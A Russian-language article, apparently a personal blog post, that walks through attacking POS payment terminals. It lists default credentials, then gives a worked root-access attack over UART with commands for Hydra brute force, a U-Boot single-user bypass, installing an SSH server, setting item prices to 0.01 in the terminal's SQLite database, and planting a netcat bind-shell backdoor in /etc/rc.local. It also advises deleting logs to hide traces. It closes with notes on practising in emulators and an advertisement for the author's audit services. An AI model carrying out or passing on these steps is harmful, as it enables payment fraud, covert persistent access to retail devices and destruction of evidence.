Анализ уязвимостей POS-терминалов
Пару дней назад стало интересно как работают POST терминалы и какие уязвимости в них бывают. Не советую воспринимать эту статтю как руководство по взлому, скорее просто как поверхностный взгляд на тему.
POS-терминалы (Point of Sale) — это специализированные компьютеры для обработки платежей. Несмотря на их критическую роль, многие из них работают на устаревших ОС (Windows CE, Embedded Linux). Как раз в этих системах и стоит искать уязвимости.
💻 Анатомия типичного POS-терминала:
Железо:
Часто x86 или ARM-процессоры.
Сенсорный экран + фискальный регистратор (для печати чеков).
Иногда — слоты для SD-карт (ключ к взлому!).
Софт:
Windows CE (уязвимый, но живучий).
Linux-based (например, на базе Raspberry Pi).
Проприетарное ПО для работы с платежами (часто с дырами).
🔧 Что понадобится?
Физический доступ к терминалу (или его эмулятор).
Минимальный набор инструментов:
Отвёртка (для разборки).
USB-клавиатура (если есть USB-порт).
SD-карта (если терминал использует её для ОС).
Переходник для последовательного порта (UART, если есть разъём).
Софт:
Binwalk (анализ прошивок).
IDA Pro/Ghidra (реверс-инжиниринг).
Metasploit (если есть сетевой доступ).
Wireshark (анализ трафика).
📌 На что смотреть в первую очередь?
1. Физические интерфейсы
USB-порты → можно подключить клавиатуру и вызвать Ctrl+Alt+Del (на некоторых Windows CE открывается диспетчер задач).
SD-карта → если ОС загружается с неё, можно изменить файлы.
Последовательный порт (UART) → часто даёт root-доступ через терминал (ищи контакты TX/RX/GND на плате).
Кнопки сброса → комбинации вроде «удержать 10 секунд» могут сбрасывать настройки.
2. Дефолтные учётные данные
Как бы стандартно не звучало но всегда нужно проверять. Попробуй:
Windows CE: Administrator: (пустой пароль), admin:admin, 1:1.
Linux-based: root:root, pos:pos, user:user.
Проприетарные системы → гугли модель + «default password».
3. Сетевые уязвимости
Открытые порты (например, Telnet 23, FTP 21, SSH 22).
Веб-интерфейс (если есть) → ищи SQL-инъекции или XSS.
Уязвимости в платежных протоколах (например, NEXO/ISO 8583).
4. Уязвимости в ПО
Драйверы фискальных регистраторов → часто содержат уязвимости переполнения буфера.
Софт для обновлений → можно подменить файл обновления на свой.
DLL-инъекция (для Windows CE) → подмена системных библиотек.
По факту быстро взломать POST терминал в реальных условиях может оказаться не простой задачей. Нужно адекватно подготовится и собрать достаточно данных о устройстве, а фактор времени так же сыграет свою роль. Вряд ли ты сможешь долго стоять и разбирать терминал. Но давайте приведу пример успешной атаки. Будем получать root права.
💥 Пример атаки: получение root через UART
Шаг 1: Поиск UART-порта на плате
Что ищем? 4 контакта (обычно в ряд), подписанные:
TX (Transmit — передача данных от устройства к вам)
RX (Receive — приём данных от вас к устройству)
GND (Ground — земля)
VCC (Питание, но его лучше не трогать!).
Как найти:
Визуальный осмотр:
Ищем надписи на плате (например,
UART1
,CON3
).Типичные места: рядом с процессором или чипом памяти.
Пример разметки:
[VCC] [RX] [TX] [GND]
Мультиметр в помощь:
Если контакты не подписаны:
GND — звонится на корпус или металлические части.
VCC — показывает 3.3V или 5V относительно GND.
TX — напряжение меняется при включении устройства (передача данных).
⚠️ Важно:
Не подключайтесь к VCC — можно спалить адаптер!
Если контактов 3 — скорее всего, это TX, RX, GND.
Шаг 2: Подключаемся через терминал
Необходимое железо:
UART-адаптер (например, CH340, FT232RL) (Может потом напишу статтю что это и какие модели бывают).
Провода «папа-папа» для подключения.
Схема подключения:
POS-терминал UART-адаптер
TX ------------> RX
RX <------------ TX
GND ------------> GND
Настройка терминала:
Linux (screen/minicom):
sudo screen /dev/ttyUSB0 115200
115200
— стандартная скорость (если не работает, пробуй9600
,57600
).Если экран пустой — попробуй поменять TX/RX местами.
Windows (PuTTY):
Выбираем Serial, порт
COM3
(или другой), скорость115200
.Тип подключения: Serial.
Что должно появиться:
При включении терминала — вывод загрузки (логи U-Boot, ядро Linux).
Возможные варианты:
Welcome to POS Terminal!
login: _
или
root@pos-terminal:~# _
Шаг 3: Получаем root
Сценарий 1: Стандартные пароли
Банальная вещь но всегда стоит пробовать. Пробуем (по очереди):
root:root
admin:admin
pos:pos
user:user
Пустой пароль (просто нажимаем Enter).
Сценарий 2: Пароль неизвестен
Варианты обхода:
Перебор паролей Hydra (если есть сеть):
hydra -l root -P rockyou.txt telnet://192.168.1.100
2. Сброс через JTAG (если есть разъём JTAG на плате).
3. Эксплуатация загрузчика (если есть доступ к U-Boot):
В момент загрузки жмём любую клавишу, чтобы прервать автозагрузку.
В консоли U-Boot:
setenv bootargs single
boot
Получаем root-шелл без пароля.
Шаг 4: Модифицируем систему
1. Добавление SSH-сервера (для Linux)
# Устанавливаем Dropbear (лёгкий SSH-сервер)
opkg update
opkg install dropbear
# Включаем автозагрузку
/etc/init.d/dropbear enable
/etc/init.d/dropbear start
# Меняем пароль root
passwd root
Теперь можно подключаться извне:
ssh root@192.168.1.100
Подмена цен в БД (если терминал на SQLite)
# Ищем БД с товарами
find / -name "*.db"
# Редактируем (например, через sqlite3)
sqlite3 /var/pos/products.db
UPDATE items SET price=0.01 WHERE id=123;
Установка бэкдора
Добавляем в /etc/rc.local
:
#!/bin/sh
nc -lvp 4444 -e /bin/sh &
После перезагрузки:
nc 192.168.1.100 4444
📌 Важные нюансы
Разные модели — разная защита:
Некоторые терминалы шифруют прошивку (понадобится дизассемблер).
В новых может быть Secure Boot (блокировка модификаций).
Логирование:
POS-терминалы часто пишут логи в /var/log — удаляй следы!
Сетевые ограничения:
Если терминал в изолированной сети — потребуется физический доступ.
Если хотите попробовать взломать POST терминал то советую тренироваться на эмуляторах.
1. Эмуляция Windows CE (основа многих старых терминалов)
QEMU + образ WinCE
Скачайте образ: Windows CE 6.0 Emulator
Запустите через QEMU:
qemu-system-arm -M versatilepb -kernel nk.bin
Готовые эмуляторы
Microsoft Device Emulator (для WinCE 5.0/6.0)
Platform Builder (сложнее, но точнее эмулирует железо)
2. Эмуляция Linux-based терминалов
Buildroot + QEMU
Создайте минимальный образ Linux для ARM (как в реальных терминалах):
git clone https://github.com/buildroot/buildroot
make qemu_arm_vexpress_defconfig
make
qemu-system-arm -M vexpress-a9 -kernel output/images/zImage -dtb output/images/vexpress-v2p-ca9.dtb -drive file=output/images/rootfs.ext2,if=sd -append "console=ttyAMA0,115200 root=/dev/mmcblk0" -serial stdio
3. Готовые образы:
4. Специализированные эмуляторы POS
OPOS (OLE for POS) Simulator
Эмулирует работу фискальных регистраторов, дисплеев и т.д.
sudo apt install libopos-dev
🌐 Атаки без физического доступа: почему мы не разобрали Wireshark и Metasploit подробно
В начале я упомянул Wireshark и Metasploit как инструменты для сетевых атак, но не стал углубляться в них. Вот почему:
1. Wireshark: перехват трафика — только начало
Что делает:
Позволяет анализировать сетевой трафик (например, данные платежей, логины админов).
Проблемы:
Большинство современных терминалов используют шифрование (TLS). Без ключей расшифровки — только «мусор» в логах.
В изолированных сетях (например, локальная сеть магазина) перехват требует уже скомпрометированного устройства.
Когда полезен:
Если терминал отправляет данные в открытом виде (устаревшие протоколы вроде FTP, Telnet).
2. Metasploit: «тяжёлая артиллерия» с ограничениями
Что делает:
Предоставляет готовые эксплоиты для уязвимостей (например, CVE-2017-9476 для WinCE).
Проблемы:
Большинство POS-терминалов не имеют прямого выхода в интернет, что блокирует удалённые атаки.
Современные системы патчатся (но старые WinCE — да, уязвимы).
Когда полезен:
Если терминал имеет открытый RDP-порт (редко, но бывает).
Работает на публичном IP (например, в маленьких кафе с «голым» терминалом).
Wireshark и Metasploit — мощные инструменты, но для POS-терминалов они вторичны. Физические уязвимости (UART, дефолтные пароли) — это «низко висящие фрукты», которые дают быстрый результат. Хотя если будет настроение то потом разберу как работают сетевые атаки на пост терминалы.
На этом пожалуй закончим. А если хотите заказть аудит безопасности сервера/сайта или есть другие вопросы по безопасности - обращайтесь ко мне напрямую @Marka_kol.